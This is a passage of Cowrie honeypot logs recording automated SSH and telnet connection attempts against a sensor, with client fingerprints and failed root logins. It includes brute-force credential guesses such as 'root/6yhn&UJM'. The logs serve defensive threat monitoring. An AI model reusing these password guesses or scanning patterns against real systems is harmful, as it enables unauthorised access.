28-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:16.739716Z","src_ip":"102.129.200.101","session":"013c0f528337","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:52:5c:6e:0d:39:26:50:ba:75:51:ab:b5:4c:5e:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIHQ9Jl7DufauT24fmpx0e5K1RWlKVPQmcs7pajjKjwm93JE9oK+JelsNu+YFOfjek2L0lJciN7BR8Jmq4/MOmTXYFLJMsW3evSFHHzd2+cMilWU4icAQ9IjY9ShzWLRqplGtaWNCU35tB2rxvbQo2XEEGLvq2kpcQ2AMRvzSa0DgT9WXVz/WZ6Asl9eLRZbkam9Kz2pjRLmix0B5u853tJa4MtePivGJf3InRsClCjVNAYtg22rXTwztEZMk/tXmv7vpUcGA6i+cCOUM/9wTKqkoi0jMWaXW37Pd9JbaMmWyPgS6fOTx0jZ9/t8fH9jZuF0bXaCWiZfowIm3blErAYCJgprllM7aLAEIdIEnn6B+iTL4dvSROoDNHnQpSmwBGfssmew/yQQGdoAsnYEz3ufMQlCBs9cVZ4EBXq9A89vO3VqQOD/rG87F/MoiqtXDczhcPaG1eVXLHHLGF4kpTPRiLnM8/XtdCU1MTQd2UbjTFqhi6OwPYXOr9EJx0pAipdBl27IQ4pjsekt/0LjH1ymUzT231HVAxxrJdsqyY539t7ekkLC+VXgYgG1BjaZiQYCJXz5i5LHbhENrwqoo9bCjbFgxFdLcci62mf5qQi7jePzW1Vfg7Dyjg/irDBBauKivr5unSMZmlEVU1SHYq3xyHwErl0LflWhQElIog3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:52:5c:6e:0d:39:26:50:ba:75:51:ab:b5:4c:5e:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:17.160866Z","src_ip":"102.129.200.101","session":"013c0f528337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:52:5c:6e:0d:39:26:50:ba:75:51:ab:b5:4c:5e:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIHQ9Jl7DufauT24fmpx0e5K1RWlKVPQmcs7pajjKjwm93JE9oK+JelsNu+YFOfjek2L0lJciN7BR8Jmq4/MOmTXYFLJMsW3evSFHHzd2+cMilWU4icAQ9IjY9ShzWLRqplGtaWNCU35tB2rxvbQo2XEEGLvq2kpcQ2AMRvzSa0DgT9WXVz/WZ6Asl9eLRZbkam9Kz2pjRLmix0B5u853tJa4MtePivGJf3InRsClCjVNAYtg22rXTwztEZMk/tXmv7vpUcGA6i+cCOUM/9wTKqkoi0jMWaXW37Pd9JbaMmWyPgS6fOTx0jZ9/t8fH9jZuF0bXaCWiZfowIm3blErAYCJgprllM7aLAEIdIEnn6B+iTL4dvSROoDNHnQpSmwBGfssmew/yQQGdoAsnYEz3ufMQlCBs9cVZ4EBXq9A89vO3VqQOD/rG87F/MoiqtXDczhcPaG1eVXLHHLGF4kpTPRiLnM8/XtdCU1MTQd2UbjTFqhi6OwPYXOr9EJx0pAipdBl27IQ4pjsekt/0LjH1ymUzT231HVAxxrJdsqyY539t7ekkLC+VXgYgG1BjaZiQYCJXz5i5LHbhENrwqoo9bCjbFgxFdLcci62mf5qQi7jePzW1Vfg7Dyjg/irDBBauKivr5unSMZmlEVU1SHYq3xyHwErl0LflWhQElIog3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:17.165279Z","src_ip":"102.129.200.101","session":"013c0f528337","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:31:00:24:f8:82:db:69:b0:5f:75:63:ff:b2:7a:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBD0GfFcC/5lMguDnvf+BuHXyp0OdM/C3EMqjcO9KT4omcGpAKQf7naFuqwN31auofKlVz/BwD5OiaWyHQM9oUK3j3ECIA/FCSn3gTR7LCD9qY/nEgqr+lS/jKJFF4OmFnLfUqpXOOqQhg2ENlKzyf8DCmOk0gvy23Z8WjrDgIV7K6uWrIMx3VXnE30pAonn2O3bq6R6+MQhG2npKqk5A9E5pTq9TAr0DsK2W+UvGS/qmb2UFmKLvn1fux9oiMsBs74/+ZcBnlniC2a+rBrJ1KTiqDVdJ5mzhWrTAc/F3OXhxeuwnfG+qErKjieFo6sef6QQPH2yf6sY52AvT3VFXb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:31:00:24:f8:82:db:69:b0:5f:75:63:ff:b2:7a:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:17.259902Z","src_ip":"102.129.200.101","session":"013c0f528337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:31:00:24:f8:82:db:69:b0:5f:75:63:ff:b2:7a:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBD0GfFcC/5lMguDnvf+BuHXyp0OdM/C3EMqjcO9KT4omcGpAKQf7naFuqwN31auofKlVz/BwD5OiaWyHQM9oUK3j3ECIA/FCSn3gTR7LCD9qY/nEgqr+lS/jKJFF4OmFnLfUqpXOOqQhg2ENlKzyf8DCmOk0gvy23Z8WjrDgIV7K6uWrIMx3VXnE30pAonn2O3bq6R6+MQhG2npKqk5A9E5pTq9TAr0DsK2W+UvGS/qmb2UFmKLvn1fux9oiMsBs74/+ZcBnlniC2a+rBrJ1KTiqDVdJ5mzhWrTAc/F3OXhxeuwnfG+qErKjieFo6sef6QQPH2yf6sY52AvT3VFXb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:17.265054Z","src_ip":"102.129.200.101","session":"013c0f528337","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:14:a9:8c:21:e8:06:50:d8:1b:45:25:9d:de:52:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCm5G9wDoAboW8XSHFHEbUiKiEMqUGCc2MGCIOv+Ps7PxfuxJ9ZMe/sjqpeaMkWmzkojxM2cW1Q3HEfFr7smDcqFZcU15j4cfz33K+pdm7DOf/9mR1xxGuUJZilxx9frsq7qD5MBVKbhH19xksiNBpuNIM1v0pLfpiBRYpUQ1WfMnBudvxg5tgR2v+0M3g5v+uATyUgGTScOK1Atw6xlFT58z53Az6phK8LWa2JQj4dNq9HEtb9+o9B3ZSGTnwVZMVZHE7+Ea15lk8LDauj6acxP8CCBL8rF7UDi5zqgE9Fw1S/kcIbwFXIfhUJJSVMWs9npB7utleZnLlbNvfagy8CnWsmhJG5ZjIC7TFzF2bRR/hxiQNgTw+hliSZp0RD9+PhfP8FfGzpiNBihGUqo9NkKV3W6E7gA6NdDcudq2Ed7JBW4zM4A+W797s6CKeaAvjw8augNPBV6BUiKFRggcjd+OUXP7mtj2htipveB+0F9Yw7lEnfK9OjiNgCmvxOWic=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:14:a9:8c:21:e8:06:50:d8:1b:45:25:9d:de:52:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:17.358158Z","src_ip":"102.129.200.101","session":"013c0f528337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:14:a9:8c:21:e8:06:50:d8:1b:45:25:9d:de:52:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCm5G9wDoAboW8XSHFHEbUiKiEMqUGCc2MGCIOv+Ps7PxfuxJ9ZMe/sjqpeaMkWmzkojxM2cW1Q3HEfFr7smDcqFZcU15j4cfz33K+pdm7DOf/9mR1xxGuUJZilxx9frsq7qD5MBVKbhH19xksiNBpuNIM1v0pLfpiBRYpUQ1WfMnBudvxg5tgR2v+0M3g5v+uATyUgGTScOK1Atw6xlFT58z53Az6phK8LWa2JQj4dNq9HEtb9+o9B3ZSGTnwVZMVZHE7+Ea15lk8LDauj6acxP8CCBL8rF7UDi5zqgE9Fw1S/kcIbwFXIfhUJJSVMWs9npB7utleZnLlbNvfagy8CnWsmhJG5ZjIC7TFzF2bRR/hxiQNgTw+hliSZp0RD9+PhfP8FfGzpiNBihGUqo9NkKV3W6E7gA6NdDcudq2Ed7JBW4zM4A+W797s6CKeaAvjw8augNPBV6BUiKFRggcjd+OUXP7mtj2htipveB+0F9Yw7lEnfK9OjiNgCmvxOWic=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:17.362735Z","src_ip":"102.129.200.101","session":"013c0f528337","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:29:d2:85:69:7f:4e:35:bc:64:50:18:22:17:03:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdQ54EyEVEts7/9qnMMVh47NlLwdWEgI1edOo4zXT5E0qUI5wbp3+vmw4kaGdbWacASPdllwu2n5WIQlglSVzlfKtjZECSurraWDXB2QE0Ql5pnwN6OrA1Qffbmm+4mbdgoFTpqopknbU+/TKRLTfw8IMAXPqvoxcAuiufVs2iLt+02yo1jQ1C3LnAhkAO7SOrwrclzehXJ5GaCGLkFDjgdaiFdWImf7uFpf7ANcXSzQJPisUVujU37Wl3IEzsW2XMlPeryM4qK928z4BC7ilZfcYZBtN+sR8lWTfOIyCLnHhfsXUgGCQ74WTj8ZSYDTzvmYq4Kr8xi5S6UMaKrY2H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:29:d2:85:69:7f:4e:35:bc:64:50:18:22:17:03:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:17.451850Z","src_ip":"102.129.200.101","session":"013c0f528337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:29:d2:85:69:7f:4e:35:bc:64:50:18:22:17:03:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdQ54EyEVEts7/9qnMMVh47NlLwdWEgI1edOo4zXT5E0qUI5wbp3+vmw4kaGdbWacASPdllwu2n5WIQlglSVzlfKtjZECSurraWDXB2QE0Ql5pnwN6OrA1Qffbmm+4mbdgoFTpqopknbU+/TKRLTfw8IMAXPqvoxcAuiufVs2iLt+02yo1jQ1C3LnAhkAO7SOrwrclzehXJ5GaCGLkFDjgdaiFdWImf7uFpf7ANcXSzQJPisUVujU37Wl3IEzsW2XMlPeryM4qK928z4BC7ilZfcYZBtN+sR8lWTfOIyCLnHhfsXUgGCQ74WTj8ZSYDTzvmYq4Kr8xi5S6UMaKrY2H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:17.455683Z","src_ip":"102.129.200.101","session":"013c0f528337","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:0b:79:cb:27:3a:47:47:7e:a2:ae:1a:cb:95:4e:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrmKDvQCGxG6X9iz/IxdI8WOyoFdUo0GLTHUNTG6ipEv0rSuVJ6wYX4XS2FOhPAeH1YYyL2O1HIj/TpzonforpZSBLDMWRUvl+uTF0U1bAvMN3A20GNVl4FqRhq7OCPvyGECy5Ij+jvWorQDXNibB70vDjsazDPzuYk2bxca6V+g1RYrPFqmScKYLKF72FC/9/yvRJw0ZcYK0iQ/A4s0qxgBuctbQJVYGfYZMU1jbp3xBAX1DSxsS05cW1b8NcJ2QWJqFI6acr5SLNpqNkZ+IXo+h47oFWoKzBsc3iJ7Ns0883dPvuloOjSPSq1B63SYz123XW6+EGrB4WT12sSstmR4G6xI2CwPds88l8+aqAdmCZ8JktTr8tAyV97D93MY9gpg1Dt0gEiPaAw4wPpQ/Ng2uiPte1vomtF9MamCxSvEmdxZ1S65PtJbUCCCUYCXRE8Jb4Zif+cT8E8SmUZckO4j8TVQ3IRDf9jAaw/sEfEFfDe/qLVwbOLkBXavRSvquA6O95GpSeXkBeLQ2QM108CGe4LKifI7TYU+rUnr9cZyGAkIsH/ao6H4vg5eQFpITM82GZJHk2A6+bPnJ2kioEOEsHvlI0bYQycDboPV5BhcsJ38DRGw/rE+0s0guuNkCvsli9uaYVmen2h2W88Qxw8Q8zYN34/vqCtEBJ2H64DQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:0b:79:cb:27:3a:47:47:7e:a2:ae:1a:cb:95:4e:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:17.547499Z","src_ip":"102.129.200.101","session":"013c0f528337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:0b:79:cb:27:3a:47:47:7e:a2:ae:1a:cb:95:4e:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrmKDvQCGxG6X9iz/IxdI8WOyoFdUo0GLTHUNTG6ipEv0rSuVJ6wYX4XS2FOhPAeH1YYyL2O1HIj/TpzonforpZSBLDMWRUvl+uTF0U1bAvMN3A20GNVl4FqRhq7OCPvyGECy5Ij+jvWorQDXNibB70vDjsazDPzuYk2bxca6V+g1RYrPFqmScKYLKF72FC/9/yvRJw0ZcYK0iQ/A4s0qxgBuctbQJVYGfYZMU1jbp3xBAX1DSxsS05cW1b8NcJ2QWJqFI6acr5SLNpqNkZ+IXo+h47oFWoKzBsc3iJ7Ns0883dPvuloOjSPSq1B63SYz123XW6+EGrB4WT12sSstmR4G6xI2CwPds88l8+aqAdmCZ8JktTr8tAyV97D93MY9gpg1Dt0gEiPaAw4wPpQ/Ng2uiPte1vomtF9MamCxSvEmdxZ1S65PtJbUCCCUYCXRE8Jb4Zif+cT8E8SmUZckO4j8TVQ3IRDf9jAaw/sEfEFfDe/qLVwbOLkBXavRSvquA6O95GpSeXkBeLQ2QM108CGe4LKifI7TYU+rUnr9cZyGAkIsH/ao6H4vg5eQFpITM82GZJHk2A6+bPnJ2kioEOEsHvlI0bYQycDboPV5BhcsJ38DRGw/rE+0s0guuNkCvsli9uaYVmen2h2W88Qxw8Q8zYN34/vqCtEBJ2H64DQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:17.552137Z","src_ip":"102.129.200.101","session":"013c0f528337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:17.644651Z","src_ip":"102.129.200.101","session":"013c0f528337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":2326,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fb68757e83a","protocol":"ssh","message":"New connection: 181.0.214.136:2326 (159.203.135.109:22) [session: 2fb68757e83a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:18.176661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:18.182444Z","src_ip":"181.0.214.136","session":"2fb68757e83a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:18.343862Z","src_ip":"181.0.214.136","session":"2fb68757e83a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2091","message":"login attempt [root/2091] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:19.022457Z","src_ip":"181.0.214.136","session":"2fb68757e83a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:20.190570Z","src_ip":"181.0.214.136","session":"2fb68757e83a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.02756881713867,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:23.226516Z","src_ip":"192.119.13.58","session":"66d8b0396607","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44746,"dst_ip":"10.17.0.5","dst_port":23,"session":"549924afd81f","protocol":"telnet","message":"New connection: 192.119.13.58:44746 (10.17.0.5:23) [session: 549924afd81f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:23.390512Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46150,"dst_ip":"10.17.0.5","dst_port":23,"session":"9061812985f1","protocol":"telnet","message":"New connection: 192.119.13.58:46150 (10.17.0.5:23) [session: 9061812985f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:23.679346Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":45379,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f1b830857f2","protocol":"ssh","message":"New connection: 14.224.227.189:45379 (159.203.135.109:22) [session: 9f1b830857f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:24.162595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:24.169066Z","src_ip":"14.224.227.189","session":"9f1b830857f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:24.420577Z","src_ip":"14.224.227.189","session":"9f1b830857f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6yhn&UJM","message":"login attempt [root/6yhn&UJM] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:25.442666Z","src_ip":"14.224.227.189","session":"9f1b830857f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":56624,"dst_ip":"10.17.0.5","dst_port":22,"session":"a65a17d26bac","protocol":"ssh","message":"New connection: 194.59.206.2:56624 (10.17.0.5:22) [session: a65a17d26bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:25.606904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:25.612746Z","src_ip":"194.59.206.2","session":"a65a17d26bac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":43212,"dst_ip":"159.203.135.109","dst_port":22,"session":"e797be7373f2","protocol":"ssh","message":"New connection: 41.242.115.83:43212 (159.203.135.109:22) [session: e797be7373f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:25.653120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:25.658921Z","src_ip":"41.242.115.83","session":"e797be7373f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:25.700232Z","src_ip":"194.59.206.2","session":"a65a17d26bac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:25.789743Z","src_ip":"194.59.206.2","session":"a65a17d26bac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:25.871243Z","src_ip":"41.242.115.83","session":"e797be7373f2","protocol":"ssh"}
